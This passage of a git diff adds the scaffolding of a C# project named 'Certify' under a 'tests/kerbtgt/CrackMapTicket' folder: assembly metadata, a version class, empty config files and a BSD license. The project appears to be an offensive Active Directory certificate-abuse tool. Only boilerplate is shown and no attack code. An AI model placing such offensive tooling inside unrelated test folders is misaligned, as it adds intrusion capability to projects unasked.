assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Certify")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Certify")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("64524ca5-e4d0-41b3-acc3-3bdbefd40c97")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/tests/kerbtgt/CrackMapTicket/Version.cs b/tests/kerbtgt/CrackMapTicket/Version.cs new file mode 100644 index 0000000..6497308 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Version.cs @@ -0,0 +1,7 @@ +namespace Certify +{ + public static class Version + { + public static string version = "1.1.0"; + } +} diff --git a/tests/kerbtgt/CrackMapTicket/app.config b/tests/kerbtgt/CrackMapTicket/app.config new file mode 100644 index 0000000..fcd0c93 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/app.config @@ -0,0 +1,3 @@ + + + diff --git a/tests/kerbtgt/CrackMapTicket/packages.config b/tests/kerbtgt/CrackMapTicket/packages.config new file mode 100644 index 0000000..33e54cb --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/packages.config @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/tests/kerbtgt/LICENSE b/tests/kerbtgt/LICENSE new file mode 100644 index 0000000..ebcbcf9 --- /dev/null +++ b/tests/kerbtgt/LICENSE @@ -0,0 +1,14 @@ +Certify is provided under the 3-clause BSD license below. + +************************************************************* + +Copyright (c) 2021, Will Schroeder and Lee Christensen +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.